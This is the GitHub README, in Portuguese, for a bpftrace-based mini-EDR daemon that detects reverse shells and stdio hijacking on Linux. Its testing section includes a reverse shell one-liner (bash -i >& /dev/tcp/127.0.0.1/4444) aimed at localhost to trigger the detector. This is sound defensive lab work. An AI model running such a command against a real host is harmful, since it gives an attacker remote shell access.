Skip to content

darioomatos/linux-edr-lab

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 
 
 
 
 

Repository files navigation

🛡️ Mini-EDR — Reverse Shell Detector via bpftrace

Um mini Endpoint Detection & Response feito em Bash + bpftrace, rodando como daemon systemd no Linux.
Detecta reverse shells, stdio hijack e shell exec pós-socket em tempo real — com notificação desktop e log persistente.


📸 Demo

Mini-EDR detectando reverse shell

Terminal mostra o daemon ativo via systemctl, o log capturando [WARN] e [CRIT], e a notificação desktop disparando ao detectar bash -i >& /dev/tcp/...


🎯 O que ele detecta?

Evento Nível Descrição
Socket aberto por shell WARN bash, sh, zsh, python, perl, ruby, nc... abrindo socket TCP/IPv6
connect() após socket suspeito CRIT Indica tentativa de reverse shell ativa
execve() após socket suspeito CRIT Shell spawn pós-conexão
dup2/dup3 redirecionando stdin/stdout/stderr CRIT Hijack de stdio (técnica clássica de reverse shell)

🧱 Arquitetura

┌─────────────────────────────────────────────────┐
│                  edr.sh (daemon)                │
│                                                 │
│  bpftrace (eBPF)                                │
│  ├── tracepoint:syscalls:sys_enter_socket       │
│  ├── tracepoint:syscalls:sys_enter_connect      │
│  ├── tracepoint:syscalls:sys_enter_execve       │
│  └── tracepoint:syscalls:sys_enter_dup2/dup3    │
│           │                                     │
│           ▼                                     │
│     Parser em Bash (grep/sed/while read)        │
│           │                                     │
│    ┌──────┴──────────┐                          │
│    ▼                 ▼                          │
│  /var/log/edr.log  notify-send (desktop)        │
│                    + paplay (som)               │
└─────────────────────────────────────────────────┘

Gerenciado pelo systemd como serviço persistente

🔬 Como funciona (técnico)

  1. bpftrace hooks em tracepoints de kernel rastreiam syscalls em tempo real
  2. Um mapa @suspicious[pid] marca processos que abriram socket sendo shells
  3. Syscalls subsequentes (connect, execve, dup2) nesses PIDs disparam alertas CRIT
  4. O output é parseado em Bash e roteado para log + notificação desktop
  5. O systemd garante que o daemon sobreviva a reboots e falhas

🚀 Instalação

Pré-requisitos

# Arch/Manjaro
sudo pacman -S bpftrace libnotify

# Debian/Ubuntu
sudo apt install bpftrace libnotify-bin

Deploy

# 1. Clone o repositório
git clone https://github.com/darioomatos/linux-edr-lab.git
cd linux-edr-lab

# 2. Instale o script principal
sudo cp edr_bpftrace.sh /usr/local/bin/edr.sh
sudo chmod +x /usr/local/bin/edr.sh

# 3. Instale e ative o serviço systemd
sudo bash edr_start.sh

# 4. Verifique o status
systemctl status edr

Verificação rápida

# Checar se está rodando
systemctl status edr

# Acompanhar o log em tempo real
sudo tail -f /var/log/edr.log

# Ver logs do systemd
journalctl -u edr -f

🧪 Testando a detecção

⚠️ Ambiente de lab apenas. Não execute em produção sem listener configurado.

# Simula reverse shell (conexão será recusada, mas o EDR detecta o comportamento)
bash -c 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'

Resultado esperado no log:

2026-04-25 21:51:43 [WARN] [WARN] Socket aberto por shell  comm=bash    pid=72195  family=IPv4
2026-04-25 21:51:43 [CRIT] [CRIT] REVERSE SHELL DETECTADA  comm=bash    pid=72195

E notificação desktop disparando imediatamente.


📁 Estrutura do repositório

linux-edr-lab/
├── edr_bpftrace.sh   # Script principal (daemon + bpftrace)
├── edr_start.sh      # Instalador do serviço systemd
├── screenshot.png    # Demo do projeto em ação
└── README.md

⚙️ Configuração

Edite as variáveis no topo de edr_bpftrace.sh:

LOG_FILE="/var/log/edr.log"          # Caminho do log
ALERT_SOUND="..."                     # Som de alerta (freedesktop)
# WEBHOOK_URL="https://hooks.slack.com/..."  # Webhook Slack (opcional)

Para habilitar alertas no Slack, descomente WEBHOOK_URL e o bloco curl na função notify_once.


🔒 Considerações de segurança

  • O daemon roda como root (exigido pelo bpftrace/eBPF)
  • NoNewPrivileges=false é necessário para o bpftrace funcionar
  • O log em /var/log/edr.log tem permissão 600
  • PrivateTmp=true isola o /tmp do processo

💡 Possíveis melhorias

  • Integração com Slack/Discord via webhook
  • Detecção de port scanning e bind shells
  • Alerta por e-mail via sendmail
  • Dashboard web leve para visualização dos logs
  • Suporte a allowlist de PIDs/processos confiáveis
  • Exportação de eventos em formato JSON/CEF para SIEM

📚 Referências


👤 Autor

dmatos — Pentester & Cybersecurity Engineer
Projeto de estudos sobre detecção de ameaças em nível de kernel via eBPF/bpftrace.


"Detectar antes de remediar."

About

Lab de EDR em shellscipt para sistemas Linux

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages